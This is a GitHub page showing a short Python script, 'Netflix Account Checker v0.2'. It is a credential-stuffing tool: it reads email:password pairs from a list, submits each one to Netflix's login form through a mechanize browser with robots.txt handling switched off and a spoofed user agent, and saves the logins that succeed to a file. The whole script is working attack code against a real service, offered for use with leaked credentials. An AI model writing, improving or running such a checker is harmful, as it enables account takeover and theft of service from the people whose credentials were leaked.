forked from MendozaMiguel/checkAccountNetflix
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcheck_acc_netflix.py
55 lines (49 loc) · 1.47 KB
/
check_acc_netflix.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import mechanize
import time
print ('[+]---Netflix Account Checker v0.2---[+]')
time.sleep(2)
contex=0
contno=0
accPass=[]
outfile = open('worksAcc.txt', 'w')
br = mechanize.Browser()
# print('br : ', br)
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.addheaders = [('User-agent', 'Firefox')]
try:
with open("listAcc.txt", "r") as filestream:
for line in filestream:
br.open('https://www.netflix.com/fr/login')
currentline = line.split(':')
print('currentline : ', currentline)
# print('br before : ', br)
br.select_form(nr=0)
# print('br after : ', br)
br.form['userLoginId'] = currentline[0]
br.form['password'] = currentline[1]
print ('logging in to.. mail: '+br.form['userLoginId'])
response = br.submit()
print('response : ', response.geturl())
if response.geturl()=='https://www.netflix.com/browse':
print ('Account Work')
contex = contex + 1
br.open('https://www.netflix.com/SignOut?lnkctr=mL')
accPass.append(currentline[0]+':'+currentline[1])
time.sleep(2)
else:
print ('Account does not work')
contno = contno + 1
time.sleep(2)
print ('Writing active accounts to txt..')
for all in accPass:
print ('all : ' + all)
outfile.write(str(all)+'\n')
except:
print ('Something bad happened .. Saving progress ..')
for all in accPass:
outfile.write(str(all)+'\n')
print ('cuentas activas: ' + str(contex))
print ('cuentas muertas: ' + str(contno))